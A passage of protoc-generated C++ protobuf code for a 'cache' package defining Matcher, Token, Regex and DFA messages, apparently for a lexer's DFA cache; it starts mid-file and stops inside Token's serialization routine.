} _DFA_default_instance_;
class PairDefaultTypeInternal {
public:
::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<Pair> _instance;
} _Pair_default_instance_;
class V_2DDefaultTypeInternal {
public:
::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<V_2D> _instance;
} _V_2D_default_instance_;
class V_1DDefaultTypeInternal {
public:
::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<V_1D> _instance;
} _V_1D_default_instance_;
} // namespace cache
static void InitDefaultsscc_info_DFA_Cache_2eproto() {
GOOGLE_PROTOBUF_VERIFY_VERSION;
{
void* ptr = &::cache::_DFA_default_instance_;
new (ptr) ::cache::DFA();
::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr);
}
}
::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<2> scc_info_DFA_Cache_2eproto =
{{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 2, 0, InitDefaultsscc_info_DFA_Cache_2eproto}, {
&scc_info_Pair_Cache_2eproto.base,
&scc_info_V_2D_Cache_2eproto.base,}};
static void InitDefaultsscc_info_Matcher_Cache_2eproto() {
GOOGLE_PROTOBUF_VERIFY_VERSION;
{
void* ptr = &::cache::_Matcher_default_instance_;
new (ptr) ::cache::Matcher();
::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr);
}
}
::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<2> scc_info_Matcher_Cache_2eproto =
{{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 2, 0, InitDefaultsscc_info_Matcher_Cache_2eproto}, {
&scc_info_Regex_Cache_2eproto.base,
&scc_info_Token_Cache_2eproto.base,}};
static void InitDefaultsscc_info_Pair_Cache_2eproto() {
GOOGLE_PROTOBUF_VERIFY_VERSION;
{
void* ptr = &::cache::_Pair_default_instance_;
new (ptr) ::cache::Pair();
::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr);
}
}
::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_Pair_Cache_2eproto =
{{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 0, 0, InitDefaultsscc_info_Pair_Cache_2eproto}, {}};
static void InitDefaultsscc_info_Regex_Cache_2eproto() {
GOOGLE_PROTOBUF_VERIFY_VERSION;
{
void* ptr = &::cache::_Regex_default_instance_;
new (ptr) ::cache::Regex();
::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr);
}
}
::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<1> scc_info_Regex_Cache_2eproto =
{{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 1, 0, InitDefaultsscc_info_Regex_Cache_2eproto}, {
&scc_info_DFA_Cache_2eproto.base,}};
static void InitDefaultsscc_info_Token_Cache_2eproto() {
GOOGLE_PROTOBUF_VERIFY_VERSION;
{
void* ptr = &::cache::_Token_default_instance_;
new (ptr) ::cache::Token();
::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr);
}
}
::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_Token_Cache_2eproto =
{{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 0, 0, InitDefaultsscc_info_Token_Cache_2eproto}, {}};
static void InitDefaultsscc_info_V_1D_Cache_2eproto() {
GOOGLE_PROTOBUF_VERIFY_VERSION;
{
void* ptr = &::cache::_V_1D_default_instance_;
new (ptr) ::cache::V_1D();
::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr);
}
}
::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_V_1D_Cache_2eproto =
{{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 0, 0, InitDefaultsscc_info_V_1D_Cache_2eproto}, {}};
static void InitDefaultsscc_info_V_2D_Cache_2eproto() {
GOOGLE_PROTOBUF_VERIFY_VERSION;
{
void* ptr = &::cache::_V_2D_default_instance_;
new (ptr) ::cache::V_2D();
::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr);
}
}
::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<1> scc_info_V_2D_Cache_2eproto =
{{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 1, 0, InitDefaultsscc_info_V_2D_Cache_2eproto}, {
&scc_info_V_1D_Cache_2eproto.base,}};
static ::PROTOBUF_NAMESPACE_ID::Metadata file_level_metadata_Cache_2eproto[7];
static constexpr ::PROTOBUF_NAMESPACE_ID::EnumDescriptor const** file_level_enum_descriptors_Cache_2eproto = nullptr;
static constexpr ::PROTOBUF_NAMESPACE_ID::ServiceDescriptor const** file_level_service_descriptors_Cache_2eproto = nullptr;
const ::PROTOBUF_NAMESPACE_ID::uint32 TableStruct_Cache_2eproto::offsets[] PROTOBUF_SECTION_VARIABLE(protodesc_cold) = {
PROTOBUF_FIELD_OFFSET(::cache::Matcher, _has_bits_),
PROTOBUF_FIELD_OFFSET(::cache::Matcher, _internal_metadata_),
~0u, // no _extensions_
~0u, // no _oneof_case_
~0u, // no _weak_field_map_
PROTOBUF_FIELD_OFFSET(::cache::Matcher, pattern_),
PROTOBUF_FIELD_OFFSET(::cache::Matcher, exp_),
PROTOBUF_FIELD_OFFSET(::cache::Matcher, token_),
0,
1,
2,
PROTOBUF_FIELD_OFFSET(::cache::Token, _has_bits_),
PROTOBUF_FIELD_OFFSET(::cache::Token, _internal_metadata_),
~0u, // no _extensions_
~0u, // no _oneof_case_
~0u, // no _weak_field_map_
PROTOBUF_FIELD_OFFSET(::cache::Token, token_),
PROTOBUF_FIELD_OFFSET(::cache::Token, lexeme_),
PROTOBUF_FIELD_OFFSET(::cache::Token, type_),
0,
1,
2,
PROTOBUF_FIELD_OFFSET(::cache::Regex, _has_bits_),
PROTOBUF_FIELD_OFFSET(::cache::Regex, _internal_metadata_),
~0u, // no _extensions_
~0u, // no _oneof_case_
~0u, // no _weak_field_map_
PROTOBUF_FIELD_OFFSET(::cache::Regex, dfa_),
PROTOBUF_FIELD_OFFSET(::cache::Regex, expression_),
1,
0,
PROTOBUF_FIELD_OFFSET(::cache::DFA, _has_bits_),
PROTOBUF_FIELD_OFFSET(::cache::DFA, _internal_metadata_),
~0u, // no _extensions_
~0u, // no _oneof_case_
~0u, // no _weak_field_map_
PROTOBUF_FIELD_OFFSET(::cache::DFA, states_),
PROTOBUF_FIELD_OFFSET(::cache::DFA, initial_),
PROTOBUF_FIELD_OFFSET(::cache::DFA, alpha_index_),
PROTOBUF_FIELD_OFFSET(::cache::DFA, alphabet_),
PROTOBUF_FIELD_OFFSET(::cache::DFA, final_s_),
PROTOBUF_FIELD_OFFSET(::cache::DFA, transitions_),
0,
1,
~0u,
~0u,
~0u,
~0u,
PROTOBUF_FIELD_OFFSET(::cache::Pair, _has_bits_),
PROTOBUF_FIELD_OFFSET(::cache::Pair, _internal_metadata_),
~0u, // no _extensions_
~0u, // no _oneof_case_
~0u, // no _weak_field_map_
PROTOBUF_FIELD_OFFSET(::cache::Pair, key_),
PROTOBUF_FIELD_OFFSET(::cache::Pair, value_),
0,
1,
~0u, // no _has_bits_
PROTOBUF_FIELD_OFFSET(::cache::V_2D, _internal_metadata_),
~0u, // no _extensions_
~0u, // no _oneof_case_
~0u, // no _weak_field_map_
PROTOBUF_FIELD_OFFSET(::cache::V_2D, array_),
~0u, // no _has_bits_
PROTOBUF_FIELD_OFFSET(::cache::V_1D, _internal_metadata_),
~0u, // no _extensions_
~0u, // no _oneof_case_
~0u, // no _weak_field_map_
PROTOBUF_FIELD_OFFSET(::cache::V_1D, item_),
};
static const ::PROTOBUF_NAMESPACE_ID::internal::MigrationSchema schemas[] PROTOBUF_SECTION_VARIABLE(protodesc_cold) = {
{ 0, 8, sizeof(::cache::Matcher)},
{ 11, 19, sizeof(::cache::Token)},
{ 22, 29, sizeof(::cache::Regex)},
{ 31, 42, sizeof(::cache::DFA)},
{ 48, 55, sizeof(::cache::Pair)},
{ 57, -1, sizeof(::cache::V_2D)},
{ 63, -1, sizeof(::cache::V_1D)},
};
static ::PROTOBUF_NAMESPACE_ID::Message const * const file_default_instances[] = {
reinterpret_cast<const ::PROTOBUF_NAMESPACE_ID::Message*>(&::cache::_Matcher_default_instance_),
reinterpret_cast<const ::PROTOBUF_NAMESPACE_ID::Message*>(&::cache::_Token_default_instance_),
reinterpret_cast<const ::PROTOBUF_NAMESPACE_ID::Message*>(&::cache::_Regex_default_instance_),
reinterpret_cast<const ::PROTOBUF_NAMESPACE_ID::Message*>(&::cache::_DFA_default_instance_),
reinterpret_cast<const ::PROTOBUF_NAMESPACE_ID::Message*>(&::cache::_Pair_default_instance_),
reinterpret_cast<const ::PROTOBUF_NAMESPACE_ID::Message*>(&::cache::_V_2D_default_instance_),
reinterpret_cast<const ::PROTOBUF_NAMESPACE_ID::Message*>(&::cache::_V_1D_default_instance_),
};
const char descriptor_table_protodef_Cache_2eproto[] PROTOBUF_SECTION_VARIABLE(protodesc_cold) =
"\n\013Cache.proto\022\005cache\"R\n\007Matcher\022\017\n\007patte"
"rn\030\001 \002(\t\022\031\n\003exp\030\002 \002(\0132\014.cache.Regex\022\033\n\005t"
"oken\030\003 \002(\0132\014.cache.Token\"4\n\005Token\022\r\n\005tok"
"en\030\001 \002(\t\022\016\n\006lexeme\030\002 \002(\t\022\014\n\004type\030\003 \002(\r\"4"
"\n\005Regex\022\027\n\003dfa\030\001 \002(\0132\n.cache.DFA\022\022\n\nexpr"
"ession\030\002 \002(\t\"\215\001\n\003DFA\022\016\n\006states\030\001 \002(\r\022\017\n\007"
"initial\030\002 \002(\r\022 \n\013alpha_index\030\005 \003(\0132\013.cac"
"he.Pair\022\020\n\010alphabet\030\003 \003(\r\022\017\n\007final_s\030\004 \003"
"(\r\022 \n\013transitions\030\006 \003(\0132\013.cache.V_2D\"\"\n\004"
"Pair\022\013\n\003key\030\001 \002(\r\022\r\n\005value\030\002 \002(\r\"\"\n\004V_2D"
"\022\032\n\005array\030\001 \003(\0132\013.cache.V_1D\"\024\n\004V_1D\022\014\n\004"
"item\030\001 \003(\005"
;
static const ::PROTOBUF_NAMESPACE_ID::internal::DescriptorTable*const descriptor_table_Cache_2eproto_deps[1] = {
};
static ::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase*const descriptor_table_Cache_2eproto_sccs[7] = {
&scc_info_DFA_Cache_2eproto.base,
&scc_info_Matcher_Cache_2eproto.base,
&scc_info_Pair_Cache_2eproto.base,
&scc_info_Regex_Cache_2eproto.base,
&scc_info_Token_Cache_2eproto.base,
&scc_info_V_1D_Cache_2eproto.base,
&scc_info_V_2D_Cache_2eproto.base,
};
static ::PROTOBUF_NAMESPACE_ID::internal::once_flag descriptor_table_Cache_2eproto_once;
const ::PROTOBUF_NAMESPACE_ID::internal::DescriptorTable descriptor_table_Cache_2eproto = {
false, false, descriptor_table_protodef_Cache_2eproto, "Cache.proto", 450,
&descriptor_table_Cache_2eproto_once, descriptor_table_Cache_2eproto_sccs, descriptor_table_Cache_2eproto_deps, 7, 0,
schemas, file_default_instances, TableStruct_Cache_2eproto::offsets,
file_level_metadata_Cache_2eproto, 7, file_level_enum_descriptors_Cache_2eproto, file_level_service_descriptors_Cache_2eproto,
};
// Force running AddDescriptors() at dynamic initialization time.
static bool dynamic_init_dummy_Cache_2eproto = (static_cast<void>(::PROTOBUF_NAMESPACE_ID::internal::AddDescriptors(&descriptor_table_Cache_2eproto)), true);
namespace cache {
// ===================================================================
class Matcher::_Internal {
public:
using HasBits = decltype(std::declval<Matcher>()._has_bits_);
static void set_has_pattern(HasBits* has_bits) {
(*has_bits)[0] |= 1u;
}
static const ::cache::Regex& exp(const Matcher* msg);
static void set_has_exp(HasBits* has_bits) {
(*has_bits)[0] |= 2u;
}
static const ::cache::Token& token(const Matcher* msg);
static void set_has_token(HasBits* has_bits) {
(*has_bits)[0] |= 4u;
}
static bool MissingRequiredFields(const HasBits& has_bits) {
return ((has_bits[0] & 0x00000007) ^ 0x00000007) != 0;
}
};
const ::cache::Regex&
Matcher::_Internal::exp(const Matcher* msg) {
return *msg->exp_;
}
const ::cache::Token&
Matcher::_Internal::token(const Matcher* msg) {
return *msg->token_;
}
Matcher::Matcher(::PROTOBUF_NAMESPACE_ID::Arena* arena)
: ::PROTOBUF_NAMESPACE_ID::Message(arena) {
SharedCtor();
RegisterArenaDtor(arena);
// @@protoc_insertion_point(arena_constructor:cache.Matcher)
}
Matcher::Matcher(const Matcher& from)
: ::PROTOBUF_NAMESPACE_ID::Message(),
_has_bits_(from._has_bits_) {
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
pattern_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
if (from._internal_has_pattern()) {
pattern_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_pattern(),
GetArena());
}
if (from._internal_has_exp()) {
exp_ = new ::cache::Regex(*from.exp_);
} else {
exp_ = nullptr;
}
if (from._internal_has_token()) {
token_ = new ::cache::Token(*from.token_);
} else {
token_ = nullptr;
}
// @@protoc_insertion_point(copy_constructor:cache.Matcher)
}
void Matcher::SharedCtor() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_Matcher_Cache_2eproto.base);
pattern_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
::memset(reinterpret_cast<char*>(this) + static_cast<size_t>(
reinterpret_cast<char*>(&exp_) - reinterpret_cast<char*>(this)),
0, static_cast<size_t>(reinterpret_cast<char*>(&token_) -
reinterpret_cast<char*>(&exp_)) + sizeof(token_));
}
Matcher::~Matcher() {
// @@protoc_insertion_point(destructor:cache.Matcher)
SharedDtor();
_internal_metadata_.Delete<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
void Matcher::SharedDtor() {
GOOGLE_DCHECK(GetArena() == nullptr);
pattern_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
if (this != internal_default_instance()) delete exp_;
if (this != internal_default_instance()) delete token_;
}
void Matcher::ArenaDtor(void* object) {
Matcher* _this = reinterpret_cast< Matcher* >(object);
(void)_this;
}
void Matcher::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) {
}
void Matcher::SetCachedSize(int size) const {
_cached_size_.Set(size);
}
const Matcher& Matcher::default_instance() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_Matcher_Cache_2eproto.base);
return *internal_default_instance();
}
void Matcher::Clear() {
// @@protoc_insertion_point(message_clear_start:cache.Matcher)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
if (cached_has_bits & 0x00000007u) {
if (cached_has_bits & 0x00000001u) {
pattern_.ClearNonDefaultToEmpty();
}
if (cached_has_bits & 0x00000002u) {
GOOGLE_DCHECK(exp_ != nullptr);
exp_->Clear();
}
if (cached_has_bits & 0x00000004u) {
GOOGLE_DCHECK(token_ != nullptr);
token_->Clear();
}
}
_has_bits_.Clear();
_internal_metadata_.Clear<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
const char* Matcher::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) {
#define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure
_Internal::HasBits has_bits{};
while (!ctx->Done(&ptr)) {
::PROTOBUF_NAMESPACE_ID::uint32 tag;
ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag);
CHK_(ptr);
switch (tag >> 3) {
// required string pattern = 1;
case 1:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 10)) {
auto str = _internal_mutable_pattern();
ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx);
#ifndef NDEBUG
::PROTOBUF_NAMESPACE_ID::internal::VerifyUTF8(str, "cache.Matcher.pattern");
#endif // !NDEBUG
CHK_(ptr);
} else goto handle_unusual;
continue;
// required .cache.Regex exp = 2;
case 2:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 18)) {
ptr = ctx->ParseMessage(_internal_mutable_exp(), ptr);
CHK_(ptr);
} else goto handle_unusual;
continue;
// required .cache.Token token = 3;
case 3:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 26)) {
ptr = ctx->ParseMessage(_internal_mutable_token(), ptr);
CHK_(ptr);
} else goto handle_unusual;
continue;
default: {
handle_unusual:
if ((tag & 7) == 4 || tag == 0) {
ctx->SetLastTag(tag);
goto success;
}
ptr = UnknownFieldParse(tag,
_internal_metadata_.mutable_unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(),
ptr, ctx);
CHK_(ptr != nullptr);
continue;
}
} // switch
} // while
success:
_has_bits_.Or(has_bits);
return ptr;
failure:
ptr = nullptr;
goto success;
#undef CHK_
}
::PROTOBUF_NAMESPACE_ID::uint8* Matcher::_InternalSerialize(
::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const {
// @@protoc_insertion_point(serialize_to_array_start:cache.Matcher)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
// required string pattern = 1;
if (cached_has_bits & 0x00000001u) {
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::VerifyUTF8StringNamedField(
this->_internal_pattern().data(), static_cast<int>(this->_internal_pattern().length()),
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::SERIALIZE,
"cache.Matcher.pattern");
target = stream->WriteStringMaybeAliased(
1, this->_internal_pattern(), target);
}
// required .cache.Regex exp = 2;
if (cached_has_bits & 0x00000002u) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
InternalWriteMessage(
2, _Internal::exp(this), target, stream);
}
// required .cache.Token token = 3;
if (cached_has_bits & 0x00000004u) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
InternalWriteMessage(
3, _Internal::token(this), target, stream);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::InternalSerializeUnknownFieldsToArray(
_internal_metadata_.unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(::PROTOBUF_NAMESPACE_ID::UnknownFieldSet::default_instance), target, stream);
}
// @@protoc_insertion_point(serialize_to_array_end:cache.Matcher)
return target;
}
size_t Matcher::RequiredFieldsByteSizeFallback() const {
// @@protoc_insertion_point(required_fields_byte_size_fallback_start:cache.Matcher)
size_t total_size = 0;
if (_internal_has_pattern()) {
// required string pattern = 1;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize(
this->_internal_pattern());
}
if (_internal_has_exp()) {
// required .cache.Regex exp = 2;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(
*exp_);
}
if (_internal_has_token()) {
// required .cache.Token token = 3;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(
*token_);
}
return total_size;
}
size_t Matcher::ByteSizeLong() const {
// @@protoc_insertion_point(message_byte_size_start:cache.Matcher)
size_t total_size = 0;
if (((_has_bits_[0] & 0x00000007) ^ 0x00000007) == 0) { // All required fields are present.
// required string pattern = 1;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize(
this->_internal_pattern());
// required .cache.Regex exp = 2;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(
*exp_);
// required .cache.Token token = 3;
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(
*token_);
} else {
total_size += RequiredFieldsByteSizeFallback();
}
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
return ::PROTOBUF_NAMESPACE_ID::internal::ComputeUnknownFieldsSize(
_internal_metadata_, total_size, &_cached_size_);
}
int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size);
SetCachedSize(cached_size);
return total_size;
}
void Matcher::MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_merge_from_start:cache.Matcher)
GOOGLE_DCHECK_NE(&from, this);
const Matcher* source =
::PROTOBUF_NAMESPACE_ID::DynamicCastToGenerated<Matcher>(
&from);
if (source == nullptr) {
// @@protoc_insertion_point(generalized_merge_from_cast_fail:cache.Matcher)
::PROTOBUF_NAMESPACE_ID::internal::ReflectionOps::Merge(from, this);
} else {
// @@protoc_insertion_point(generalized_merge_from_cast_success:cache.Matcher)
MergeFrom(*source);
}
}
void Matcher::MergeFrom(const Matcher& from) {
// @@protoc_insertion_point(class_specific_merge_from_start:cache.Matcher)
GOOGLE_DCHECK_NE(&from, this);
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = from._has_bits_[0];
if (cached_has_bits & 0x00000007u) {
if (cached_has_bits & 0x00000001u) {
_internal_set_pattern(from._internal_pattern());
}
if (cached_has_bits & 0x00000002u) {
_internal_mutable_exp()->::cache::Regex::MergeFrom(from._internal_exp());
}
if (cached_has_bits & 0x00000004u) {
_internal_mutable_token()->::cache::Token::MergeFrom(from._internal_token());
}
}
}
void Matcher::CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_copy_from_start:cache.Matcher)
if (&from == this) return;
Clear();
MergeFrom(from);
}
void Matcher::CopyFrom(const Matcher& from) {
// @@protoc_insertion_point(class_specific_copy_from_start:cache.Matcher)
if (&from == this) return;
Clear();
MergeFrom(from);
}
bool Matcher::IsInitialized() const {
if (_Internal::MissingRequiredFields(_has_bits_)) return false;
if (_internal_has_exp()) {
if (!exp_->IsInitialized()) return false;
}
if (_internal_has_token()) {
if (!token_->IsInitialized()) return false;
}
return true;
}
void Matcher::InternalSwap(Matcher* other) {
using std::swap;
_internal_metadata_.Swap<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(&other->_internal_metadata_);
swap(_has_bits_[0], other->_has_bits_[0]);
pattern_.Swap(&other->pattern_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena());
::PROTOBUF_NAMESPACE_ID::internal::memswap<
PROTOBUF_FIELD_OFFSET(Matcher, token_)
+ sizeof(Matcher::token_)
- PROTOBUF_FIELD_OFFSET(Matcher, exp_)>(
reinterpret_cast<char*>(&exp_),
reinterpret_cast<char*>(&other->exp_));
}
::PROTOBUF_NAMESPACE_ID::Metadata Matcher::GetMetadata() const {
return GetMetadataStatic();
}
// ===================================================================
class Token::_Internal {
public:
using HasBits = decltype(std::declval<Token>()._has_bits_);
static void set_has_token(HasBits* has_bits) {
(*has_bits)[0] |= 1u;
}
static void set_has_lexeme(HasBits* has_bits) {
(*has_bits)[0] |= 2u;
}
static void set_has_type(HasBits* has_bits) {
(*has_bits)[0] |= 4u;
}
static bool MissingRequiredFields(const HasBits& has_bits) {
return ((has_bits[0] & 0x00000007) ^ 0x00000007) != 0;
}
};
Token::Token(::PROTOBUF_NAMESPACE_ID::Arena* arena)
: ::PROTOBUF_NAMESPACE_ID::Message(arena) {
SharedCtor();
RegisterArenaDtor(arena);
// @@protoc_insertion_point(arena_constructor:cache.Token)
}
Token::Token(const Token& from)
: ::PROTOBUF_NAMESPACE_ID::Message(),
_has_bits_(from._has_bits_) {
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
token_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
if (from._internal_has_token()) {
token_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_token(),
GetArena());
}
lexeme_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
if (from._internal_has_lexeme()) {
lexeme_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_lexeme(),
GetArena());
}
type_ = from.type_;
// @@protoc_insertion_point(copy_constructor:cache.Token)
}
void Token::SharedCtor() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_Token_Cache_2eproto.base);
token_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
lexeme_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
type_ = 0u;
}
Token::~Token() {
// @@protoc_insertion_point(destructor:cache.Token)
SharedDtor();
_internal_metadata_.Delete<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
void Token::SharedDtor() {
GOOGLE_DCHECK(GetArena() == nullptr);
token_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
lexeme_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
}
void Token::ArenaDtor(void* object) {
Token* _this = reinterpret_cast< Token* >(object);
(void)_this;
}
void Token::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) {
}
void Token::SetCachedSize(int size) const {
_cached_size_.Set(size);
}
const Token& Token::default_instance() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_Token_Cache_2eproto.base);
return *internal_default_instance();
}
void Token::Clear() {
// @@protoc_insertion_point(message_clear_start:cache.Token)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
if (cached_has_bits & 0x00000003u) {
if (cached_has_bits & 0x00000001u) {
token_.ClearNonDefaultToEmpty();
}
if (cached_has_bits & 0x00000002u) {
lexeme_.ClearNonDefaultToEmpty();
}
}
type_ = 0u;
_has_bits_.Clear();
_internal_metadata_.Clear<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
const char* Token::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) {
#define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure
_Internal::HasBits has_bits{};
while (!ctx->Done(&ptr)) {
::PROTOBUF_NAMESPACE_ID::uint32 tag;
ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag);
CHK_(ptr);
switch (tag >> 3) {
// required string token = 1;
case 1:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 10)) {
auto str = _internal_mutable_token();
ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx);
#ifndef NDEBUG
::PROTOBUF_NAMESPACE_ID::internal::VerifyUTF8(str, "cache.Token.token");
#endif // !NDEBUG
CHK_(ptr);
} else goto handle_unusual;
continue;
// required string lexeme = 2;
case 2:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 18)) {
auto str = _internal_mutable_lexeme();
ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx);
#ifndef NDEBUG
::PROTOBUF_NAMESPACE_ID::internal::VerifyUTF8(str, "cache.Token.lexeme");
#endif // !NDEBUG
CHK_(ptr);
} else goto handle_unusual;
continue;
// required uint32 type = 3;
case 3:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 24)) {
_Internal::set_has_type(&has_bits);
type_ = ::PROTOBUF_NAMESPACE_ID::internal::ReadVarint32(&ptr);
CHK_(ptr);
} else goto handle_unusual;
continue;
default: {
handle_unusual:
if ((tag & 7) == 4 || tag == 0) {
ctx->SetLastTag(tag);
goto success;
}
ptr = UnknownFieldParse(tag,
_internal_metadata_.mutable_unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(),
ptr, ctx);
CHK_(ptr != nullptr);
continue;
}
} // switch
} // while
success:
_has_bits_.Or(has_bits);
return ptr;
failure:
ptr = nullptr;
goto success;
#undef CHK_
}
::PROTOBUF_NAMESPACE_ID::uint8* Token::_InternalSerialize(
::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const {
// @@protoc_insertion_point(serialize_to_array_start:cache.Token)
